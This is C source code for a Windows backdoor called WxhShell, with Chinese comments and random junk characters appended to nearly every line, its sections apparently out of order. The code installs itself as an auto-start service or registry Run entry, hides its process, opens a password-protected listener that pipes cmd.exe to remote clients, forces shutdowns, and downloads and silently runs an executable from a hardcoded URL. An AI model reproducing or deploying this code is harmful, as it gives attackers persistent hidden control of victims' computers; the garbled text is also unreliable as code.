    if(Boot(SHUTDOWN)) M0B6v} ^H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LH:M`\(DL1  
    else { tx+KxOt9Y  
    closesocket(wsh); 2\b 2W_  
    ExitThread(0); x;F^7c1  
    } B#A .-nb  
    break; #"T< mM7  
    } Ej[:!L  
  // 获取shell ORc20NFy7  
  case 's': { Tc3~~X   
    CmdShell(wsh); nEG+TRZ)\  
    closesocket(wsh); 0\y{/P?I$  
    ExitThread(0); fQ[& ^S$  
    break; [|vE*&:uO  
  } y^iju(  
  // 退出 LH@xr\^  
  case 'x': { Z$X[x7e.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Nqa=_<WW  
    CloseIt(wsh); >u-6,[(5X*  
    break; K> rZJ[a  
    } (V06cb*42[  
  // 离开 7\T~K Yb?  
  case 'q': { hx5oTJR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ].!^BYNht  
    closesocket(wsh); eZck$]P(6H  
    WSACleanup(); |riP*b  
    exit(1); fr19C%{  
    break; Li?_P5+a  
        } &*e(  
  } ycPGv.6  
  } <*Ex6/j  
|e%o  
  // 提示信息 l>kREfHq!{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v/s6!3pnl  
} i3SrsVSG  
  } {9,!XiF.:  
)-u0n] ,  
  return; `pTCK9  
}  gZg5On  
iC.k8r+~  
// shell模块句柄 MjNq8'$"  
int CmdShell(SOCKET sock) d%EUr9~?  
{ k$NNpv&;d  
STARTUPINFO si; 3= q,k<=L  
ZeroMemory(&si,sizeof(si)); J8;lG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a*D])Lu[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XMLJ X~  
PROCESS_INFORMATION ProcessInfo; \ y^Ho1Fj  
char cmdline[]="cmd"; P<OSm*;U:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f ecV[  
  return 0; 7gx 7NDt  
} qs|{  
k%gO  
// 自身启动模式 O/N@ Gz[g%  
int StartFromService(void) V~~4<?=A  
{ >Av[`1a2F  
typedef struct p-S&Wq  
{  45qSt2  
  DWORD ExitStatus; K.R4.{mo  
  DWORD PebBaseAddress; nG~#o  
  DWORD AffinityMask; Rn4Bl8z'>  
  DWORD BasePriority; jMAZ4M  
  ULONG UniqueProcessId; sx]kH$  
  ULONG InheritedFromUniqueProcessId; ?nwFc3qw  
}   PROCESS_BASIC_INFORMATION; [#3*R_#8R  
Rt6(y #dF  
PROCNTQSIP NtQueryInformationProcess; \I[f@D-J  
Osk'zFiL<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #J): N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +%'!+r l  
en?J#fz  
  HANDLE             hProcess; L T2UY*  
  PROCESS_BASIC_INFORMATION pbi; FD*) @4<o  
[ e6zCN^t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;WqWD-C  
  if(NULL == hInst ) return 0; vUNmN2pRJ  
->rr4xaKC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t!285J8tn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T!F0_<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5dNM:1VoE  
d8p<f+  
  if (!NtQueryInformationProcess) return 0; M#CYDEB  
c2o.H!>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bZKlQ<sI  
  if(!hProcess) return 0; 6]D%|R,Q#}  
h@H8oZ[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IHs^t/;Iv  
F^/b!)4X  
  CloseHandle(hProcess); f7y3BWOi]  
 L#>^R   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); er44s^$  
if(hProcess==NULL) return 0; cOz/zD f5  
7+Z%#G~T  
HMODULE hMod; g)M"Cx.  
char procName[255]; CwL8-z0 Jn  
unsigned long cbNeeded; ulAOQGZ  
dJ|/.J$d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PCkQ hR  
~A-vIlGt!  
  CloseHandle(hProcess); 6oA2"!u^w  
I%Yeq"5RB  
if(strstr(procName,"services")) return 1; // 以服务启动 WW&ag r  
+k<0: Fi  
  return 0; // 注册表启动 ^fq^s T.$  
} v{44`tR   
[/+}E X  
// 主模块 = 9K5f# ;e  
int StartWxhshell(LPSTR lpCmdLine) ` v"p""_H  
{ cmu|d  
  SOCKET wsl; p\).zuEf.  
BOOL val=TRUE; m.g2>r`NU  
  int port=0; z=[?&X]O9b  
  struct sockaddr_in door; 1<(('H  
gT&s &0_7  
  if(wscfg.ws_autoins) Install(); a^5.gfzA  
p G-9H3[f#  
port=atoi(lpCmdLine); /T\'&s3D+  
J4l \  
if(port<=0) port=wscfg.ws_port; vS1#ien#  
02RZ>m+  
  WSADATA data; CUI\:a-   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K4w#}gzok  
N7l`-y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <u Kd)l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,VYUQE>\  
  door.sin_family = AF_INET; ^Q9;ro*;ck  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]K!NLvz  
  door.sin_port = htons(port); +!JTEKHKH  
(l_/ HQ32  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [zsUboCkc  
closesocket(wsl); =g3o@WD/G  
return 1; Z.$)#vM5  
} BufXnMh.  
;RUod .x  
  if(listen(wsl,2) == INVALID_SOCKET) { EU,f;H  
closesocket(wsl); D~T;z pS  
return 1; l6~wm1vO  
} _rakTo8BY  
  Wxhshell(wsl); |1/UC"f  
  WSACleanup(); ?"Ec#,~  
5fjL  
return 0; ;QS(`SK l  
CxbGL  
} G}V5PEF]`  
~bnyk%S o  
// 以NT服务方式启动 VoG:3qN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 69iY)Ob/  
{ cME|Lg(J$  
DWORD   status = 0; {?YBJnG}x  
  DWORD   specificError = 0xfffffff; (O-.^VV  
Pu0 <Clh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QJ^'Uyfdn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; my+2@ln  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m#Dae\w&  
  serviceStatus.dwWin32ExitCode     = 0; /BQB7vL  
  serviceStatus.dwServiceSpecificExitCode = 0; W&Xm_T[ Q  
  serviceStatus.dwCheckPoint       = 0; GC3WB4iY@U  
  serviceStatus.dwWaitHint       = 0; Y=$PsDh!  
DOB#PI [/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uN*Ynf(:-  
  if (hServiceStatusHandle==0) return; ;_iDiLC;  
;kfl5  
status = GetLastError(); 6+LBs.vl}  
  if (status!=NO_ERROR) E'iN==p_:  
{ m/bP`-/,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EN-;@P9;C  
    serviceStatus.dwCheckPoint       = 0; H/''lI{k)  
    serviceStatus.dwWaitHint       = 0; k/,7FDO?m  
    serviceStatus.dwWin32ExitCode     = status; h6;vOd~%  
    serviceStatus.dwServiceSpecificExitCode = specificError; l#|wF$J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u.rFZu?E\  
    return;  0U&@;/?  
  } iyJx~:  
6 qK`X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MG-#p8  
  serviceStatus.dwCheckPoint       = 0; iY;>LJmp  
  serviceStatus.dwWaitHint       = 0; %/}46z9\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mzm{p(.  
} uFYcVvbT@  
i1JVvNMQ,  
// 处理NT服务事件,比如:启动、停止 0?Bv zfb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >)*0lfxTZ  
{ ]WvV*FL9D3  
switch(fdwControl) S>;+zVF]  
{ ,TlYQ/j%h  
case SERVICE_CONTROL_STOP: ]9lR:V sw  
  serviceStatus.dwWin32ExitCode = 0; H#:Aby-d}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w<SFs#Z  
  serviceStatus.dwCheckPoint   = 0; JuD&121N*  
  serviceStatus.dwWaitHint     = 0; :v B9z  
  { |7)oX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;km^ OO$  
  } q(\kCUy!  
  return; mkuK$Mj  
case SERVICE_CONTROL_PAUSE: N!%[.3o\K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1)t*l;.  
  break; B*OBXN>'P  
case SERVICE_CONTROL_CONTINUE: wO&+Bb\=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F S!D  
  break; *nx$r[Mqj  
case SERVICE_CONTROL_INTERROGATE: V{C{y5  
  break; g@|2z  
}; k@|Go )~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ESmWK;7b  
} KXT9Wt=  
-LU%z'  
// 标准应用程序主函数 bc]SY =  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fJD+GvV$x  
{ ?)O!(=6%'  
0)]?@"j  
// 获取操作系统版本 {NUI8AL46A  
OsIsNt=GetOsVer(); ksy]t |  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5kLz8n^z@@  
JXQh$hs  
  // 从命令行安装 HlOn=>)<  
  if(strpbrk(lpCmdLine,"iI")) Install(); U(:Di]>{  
4`/Td?THx  
  // 下载执行文件 9GtVcucN  
if(wscfg.ws_downexe) { p8(Z{TSv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `5 Iaz  
  WinExec(wscfg.ws_filenam,SW_HIDE); z#*> u  
} Oh5aJ)"D  
#c$z&J7e  
if(!OsIsNt) { y`\rb<AZ*t  
// 如果时win9x,隐藏进程并且设置为注册表启动 gTb%c84  
HideProc(); .~,=?aq^  
StartWxhshell(lpCmdLine); -T2w?|  
} 0b}.!k9  
else *h M5pw  
  if(StartFromService()) _)ZxD--Qg  
  // 以服务方式启动 ;T :]?5W!  
  StartServiceCtrlDispatcher(DispatchTable); pEq }b+-  
else yY_#fJj  
  // 普通方式启动 zuS4N?t`p  
  StartWxhshell(lpCmdLine); uc Ph*M  
B &e'n<  
return 0; *~kHH  
} |f3 :9(p  
O,Ej m<nt  
TjS &V  
G=PX'dS  
=========================================== .`jYrW-k  
(*Z:ByA  
?T)M z q}  
LRqlK\  
j8W<iy  
0M!GoqaA  
" m,)o&ix1  
NH<~B C]I  
#include <stdio.h> k:8NOx|s"  
#include <string.h> t"?)x&dS  
#include <windows.h> $]gflAe2  
#include <winsock2.h> Gq-~z mg  
#include <winsvc.h> (,D:6(R7t  
#include <urlmon.h> Xi0fX$-,  
g(dReC  
#pragma comment (lib, "Ws2_32.lib") ej,R:}C%`  
#pragma comment (lib, "urlmon.lib") Y)2#\ F   
(qzBy \\p  
#define MAX_USER   100 // 最大客户端连接数 '7 t:.88  
#define BUF_SOCK   200 // sock buffer 2  ZyO  
#define KEY_BUFF   255 // 输入 buffer oQ}K_}{>  
9qvl9,*g  
#define REBOOT     0   // 重启 8cGoo u6  
#define SHUTDOWN   1   // 关机 Ey)ey-'\  
D2I|Z  
#define DEF_PORT   5000 // 监听端口 0UhJ I  
%D3Asw/5a  
#define REG_LEN     16   // 注册表键长度 Nx"|10gC  
#define SVC_LEN     80   // NT服务名长度 6w~Cyu4Ov  
1E=E ?$9sg  
// 从dll定义API x(A8FtG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r@EHn[w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x/ix%!8J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .Nk5W%7]=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Gy [^  
B Q2N_*v  
// wxhshell配置信息 N@X(YlO  
struct WSCFG { hdwF;  
  int ws_port;         // 监听端口 Nu euCiP  
  char ws_passstr[REG_LEN]; // 口令 xdh%mG:?  
  int ws_autoins;       // 安装标记, 1=yes 0=no \ 027>~u {  
  char ws_regname[REG_LEN]; // 注册表键名 JCci*F#r  
  char ws_svcname[REG_LEN]; // 服务名 MzH'<`;BP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MlR ]+]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -vv_6Z L[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0:JNkXZ:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q CO,f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $LVzhQlD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [eFJ+|U9  
.DM-&P  
}; \h?6/@3ob  
@VQ<X4 Za  
// default Wxhshell configuration l{*Ko~g  
struct WSCFG wscfg={DEF_PORT, _*E j3=u  
    "xuhuanlingzhe", e.fxB  
    1, &+3RsIl W  
    "Wxhshell", H5*#=It  
    "Wxhshell", 5_1\{lP  
            "WxhShell Service", biV NZdA  
    "Wrsky Windows CmdShell Service", 8nwps(3  
    "Please Input Your Password: ", r7FJqd  
  1, TfHL'u9B  
  "http://www.wrsky.com/wxhshell.exe", 4s@Tn>%SP  
  "Wxhshell.exe" 'Fql;&U >  
    }; Q%524%f$  
q]U!n  
// 消息定义模块 ]D4lZK>H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [^D>xD3B2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L1f=90  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x_CY`Y  
char *msg_ws_ext="\n\rExit."; 8tVSai8[  
char *msg_ws_end="\n\rQuit."; x~=Mn%Ew0  
char *msg_ws_boot="\n\rReboot..."; Ze <)B *  
char *msg_ws_poff="\n\rShutdown..."; 8Ltl32JSB[  
char *msg_ws_down="\n\rSave to "; Yr>0Qg],  
b1;h6AeL  
char *msg_ws_err="\n\rErr!"; -/2B fIq  
char *msg_ws_ok="\n\rOK!"; 'bsHoO  
C DoD9Hq,  
char ExeFile[MAX_PATH]; `z$P,^g`  
int nUser = 0; UyFC\vQ  
HANDLE handles[MAX_USER]; 4sW'pH  
int OsIsNt; u%lUi2P2E  
kP'm$+1or  
SERVICE_STATUS       serviceStatus; p:W{c/tV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5nTcd@lX  
!a25cm5ys  
// 函数声明 \XwC|[%P  
int Install(void); !2>@:CKX  
int Uninstall(void); B&_Z&H=  
int DownloadFile(char *sURL, SOCKET wsh); p5% %k-  
int Boot(int flag); /nv+*+Q?d  
void HideProc(void); : dNJ2&kJ  
int GetOsVer(void); ,Xr`tQ<@  
int Wxhshell(SOCKET wsl); 9dm<(I}  
void TalkWithClient(void *cs); }Q@~_3,UJ  
int CmdShell(SOCKET sock); "n)AlAV@  
int StartFromService(void); =:!>0~  
int StartWxhshell(LPSTR lpCmdLine); __zHe-.m  
9C=*>I27?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IZ\fvYp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *}T|T%L4)  
5SZa, +]  
// 数据结构和表定义 f( Dtv  
SERVICE_TABLE_ENTRY DispatchTable[] = G:y+yE4  
{ &n#yxv4  
{wscfg.ws_svcname, NTServiceMain}, BO7XN;  
{NULL, NULL} 9gglyoZ%  
};  D[}^G5  
9|[uie  
// 自我安装 \Rb:t}  
int Install(void) ?#fm-5WIi  
{ ~<~ ~C#R  
  char svExeFile[MAX_PATH]; -Sn'${2  
  HKEY key; y. 1F@w|  
  strcpy(svExeFile,ExeFile); /h{Rf,H  
yimK"4!j5A  
// 如果是win9x系统,修改注册表设为自启动 >]&Ow9-  
if(!OsIsNt) { sH_, P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }}ic{931  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ek U%^R<  
  RegCloseKey(key); U^BM5b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bM5o-U#^ C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -|f0;Fl  
  RegCloseKey(key); iK+Vla`}  
  return 0; 0xO*8aKT  
    } XogCq?_m  
  } u`.)O2)xU  
} cIG7 Q"4  
else { eG8 l^[  
iRlpNsN  
// 如果是NT以上系统,安装为系统服务 ^Il*`&+?P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); awvP;F?q|  
if (schSCManager!=0) T:Ee6I 3l  
{ `'sD(e  
  SC_HANDLE schService = CreateService K)se$vb6  
  ( ^Y+Lf]zz*  
  schSCManager, -zn_d]NV  
  wscfg.ws_svcname, J=gFiBw  
  wscfg.ws_svcdisp, 5ya^k{`+ZO  
  SERVICE_ALL_ACCESS, K1BBCe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m4m|?  
  SERVICE_AUTO_START, Gyy4zK  
  SERVICE_ERROR_NORMAL, CfSP*g0rW  
  svExeFile, l"1D' Hk  
  NULL, W]7/ e  
  NULL, 1JfZstT  
  NULL, {jmy:e2  
  NULL, ,7c Rd}1Y  
  NULL e0(aRN{W  
  ); m&gB;g3:  
  if (schService!=0) qt*+ D  
  { Up'#OkTx  
  CloseServiceHandle(schService); 3\Q9>>  
  CloseServiceHandle(schSCManager); ^.\O)K {h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jBOl:l,+  
  strcat(svExeFile,wscfg.ws_svcname); _8 |X820  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RR ^7/-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h_S>Q  
  RegCloseKey(key); FX|&o >S(8  
  return 0; VZI!rFac  
    } {vCtp   
  } \#t)B J2  
  CloseServiceHandle(schSCManager); 0 }od Q#  
} &0q pgl|  
} /\h*v!:  
FA$32*v  
return 1; _W_< bI34  
} L*[3rqER  
H(K PU1lDw  
// 自我卸载 vQK/xg  
int Uninstall(void) M?%x= q\<  
{ 6`@J=Q?  
  HKEY key; ektU,Oo  
=(D"(OsQ/  
if(!OsIsNt) { h )5S4)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @;P ;iI  
  RegDeleteValue(key,wscfg.ws_regname); W Eif&<Y  
  RegCloseKey(key); pC>h"Hy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CCe>*tdf  
  RegDeleteValue(key,wscfg.ws_regname); |&rCXfC  
  RegCloseKey(key); BB(6[V"SV  
  return 0; *Z_4bR4Q  
  } D\-\U E/  
} y7fy9jQ 8.  
} SnmUh~`L~  
else { a~$Y;C_#<  
3S7"P$q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z77>W}d  
if (schSCManager!=0) }0Ns&6)xG  
{ aYb97}kI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DJ:'<"zH7  
  if (schService!=0) poxF`a6e+  
  { G_S>{<[  
  if(DeleteService(schService)!=0) { pLtw|S'4  
  CloseServiceHandle(schService); 2icQ (H;  
  CloseServiceHandle(schSCManager); e@W+ehx"  
  return 0; m)Kg6/MV.  
  } x'I!f? / &  
  CloseServiceHandle(schService); </`\3t  
  } ?}4,s7PR  
  CloseServiceHandle(schSCManager); ebQgk Y=  
} :1>?:3,`  
} @ gWd  
ngl +`|u  
return 1; d9M[]{  
} c:Nm!+5_(  
8$ u"92  
// 从指定url下载文件 h7UNmwj  
int DownloadFile(char *sURL, SOCKET wsh) ~EPVu  
{ x~!|F5JbM  
  HRESULT hr; % ERcFI]G  
char seps[]= "/"; ;: 2U}p^-  
char *token; kY~4AH  
char *file; j/*1zu8Y  
char myURL[MAX_PATH]; *b. >  
char myFILE[MAX_PATH]; nJ2x;';lA  
PU/<7P*  
strcpy(myURL,sURL); 96(Mu% l  
  token=strtok(myURL,seps); 6^ [ 4.D  
  while(token!=NULL) |2u=3#Jp  
  { ?!U[~Gq  
    file=token; @I`^\oJ  
  token=strtok(NULL,seps); hDW!pnj1  
  } $z jdCg<  
5?^L))  
GetCurrentDirectory(MAX_PATH,myFILE); :]m.&r S,  
strcat(myFILE, "\\"); f|~{j(.v  
strcat(myFILE, file); T"_'sSI>tF  
  send(wsh,myFILE,strlen(myFILE),0); 4?'vP'  
send(wsh,"...",3,0); k6;bUOo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M}V!;o<t^  
  if(hr==S_OK) Ic0Y  
return 0; gVOAB-nw  
else 1*TbgxS~W  
return 1; WK>|IgK  
^Fco'nlM  
} 0- )K_JV  
E=p+z"Ui  
// 系统电源模块 Y"GNJtsL"  
int Boot(int flag) n|~y >w4  
{ :-46"bP.  
  HANDLE hToken; 67II9\/  
  TOKEN_PRIVILEGES tkp; + O.-o/  
2M-[x"\1/  
  if(OsIsNt) { P9 <U+\z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &3[oM)-V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I4X9RYB6c  
    tkp.PrivilegeCount = 1; "%gsGtS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eyCZ[SC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h^yqrDyJ  
if(flag==REBOOT) { `GCoi ?n7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "tzu.V-  
  return 0; 9Rnypzds  
} }aVZ\PDg  
else { 3 !@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "d_wu#fO)  
  return 0; YNEwX$)M,B  
} JNfL jfE)<  
  } ?BnU0R_r]  
  else { cQU;PH]  
if(flag==REBOOT) { -Z"4W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "+F'WCJ-(*  
  return 0; y>P+"Z.K%}  
} $oK&k}Q  
else { *|fF;-#v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +(3_V$|Dv  
  return 0; ::|~tLFu  
} qz-QVY,  
} 2X?GEO]/4  
KUAzJ[>  
return 1; TN2Ln?[xU  
} ?nd: :O  
hy5[ L`B  
// win9x进程隐藏模块 "jFf}"  
void HideProc(void) )D,KG_7l  
{ t~) P1Lof\  
A9$x8x*Lt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wGc7  
  if ( hKernel != NULL ) cuhp4!!  
  { *2G6Q g F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]ordqulq1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c{1;x)L  
    FreeLibrary(hKernel); ^,>w`8  
  } =*2,^j  
P0m3IH)  
return; xh;V4zK@`  
} e5|lz.o;  
#).$o~1ht!  
// 获取操作系统版本 fjh|V9H  
int GetOsVer(void) C$OVN$lL`8  
{ 2%W;#oi?  
  OSVERSIONINFO winfo; ,QY$:f<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +1ICX  
  GetVersionEx(&winfo); <+roY"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ->sxz/L  
  return 1; jx: IK  
  else /Nf{;G!kg  
  return 0; ;w7mr1  
} y6XOq>  
WAa45G  
// 客户端句柄模块 B*(]T|ff<  
int Wxhshell(SOCKET wsl) p)y5[HX  
{ j/O~8o&  
  SOCKET wsh; i5VZ,E^E  
  struct sockaddr_in client; )6OD@<r{  
  DWORD myID; -50DGA,K6  
;CYoc4e  
  while(nUser<MAX_USER) _fHC+lwN  
{ B/twak\  
  int nSize=sizeof(client); sdFHr4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `H+"7SO  
  if(wsh==INVALID_SOCKET) return 1; yqT!A  
j / 5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tn]nl!_@  
if(handles[nUser]==0) 7'G;ijx  
  closesocket(wsh); ".?4`@7F\  
else XUqorE  
  nUser++; Eb8pM>'qM  
  } //R"ZE@d\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 #_pkVQw:  
O=B =0  
  return 0; De?VZ2o9"  
} X0/slOT  
NJUKH1lIhR  
// 关闭 socket GWA"!~Hu  
void CloseIt(SOCKET wsh) I Dohv[#  
{ *WwM"NFHDd  
closesocket(wsh); W0qR? jc  
nUser--; rq+_ [!  
ExitThread(0); xe@1H\7:  
} 5'AP:3Gf"  
nBh+UT}  
// 客户端请求句柄 4Uy%wB  
void TalkWithClient(void *cs) =)a24PDG  
{ cS ~OxAS  
3:)z+#Uk6  
  SOCKET wsh=(SOCKET)cs; ARKM[]  
  char pwd[SVC_LEN]; NXW*{b  
  char cmd[KEY_BUFF]; u,^CFws_  
char chr[1]; l2D*b93  
int i,j; bJ ~H  
DB'v7 Ij0  
  while (nUser < MAX_USER) { st-{xC#N#  
@-U\!Tf  
if(wscfg.ws_passstr) { _D '(R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [&)]-2w2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OUX7 *_  
  //ZeroMemory(pwd,KEY_BUFF); v=U<exM6%  
      i=0; ]G/m,Zv*:  
  while(i<SVC_LEN) { =RoG?gd{R  
eV9U+]C`  
  // 设置超时 pv_o4qEN  
  fd_set FdRead; 3:J>-MO  
  struct timeval TimeOut; AGlBvRX7e  
  FD_ZERO(&FdRead); G@]3EP  
  FD_SET(wsh,&FdRead); Hfcpqa  
  TimeOut.tv_sec=8; Jj4 HJ9  
  TimeOut.tv_usec=0; I2Xd"RHN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @\K[WqF$$q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vsY?q8+P  
cD!,ZL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HW@wia  
  pwd=chr[0]; eg0_ <  
  if(chr[0]==0xd || chr[0]==0xa) { iq#{*:1  
  pwd=0; MmF&jd-=  
  break; w#A)B<Y/"  
  } [!'+}  
  i++; 6Yu:v  
    } &f*o rM:  
b^o4Q[  
  // 如果是非法用户,关闭 socket b8mH.g&l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PDNl]?  
} VYk:c`E  
J9^NHU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Hw|P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?CpVA  
E C#0-,z  
while(1) { d"wA"*8~y  
G|6qL  
  ZeroMemory(cmd,KEY_BUFF); 77>oQ~q  
8mI(0m'  
      // 自动支持客户端 telnet标准   0At0`Q#  
  j=0; @8d 3  
  while(j<KEY_BUFF) { m1$tf ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I^NDJdxd  
  cmd[j]=chr[0]; !T 6R[  
  if(chr[0]==0xa || chr[0]==0xd) { Oa|c ?|+  
  cmd[j]=0; |RX#5Q>z  
  break; eqx }]#  
  } 1I Xtu   
  j++; )Z7Vm2a  
    } X\^V{v^-  
 wJp<ZL  
  // 下载文件 hnj\|6L  
  if(strstr(cmd,"http://")) { ,9&cIUH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !_fDL6a-  
  if(DownloadFile(cmd,wsh)) WAu>p3   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NxP(&M(  
  else &:&'70Ya  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lqgrt]L_"  
  } =L W!$p  
  else { L\Se ,  
Dqy`7?Kn  
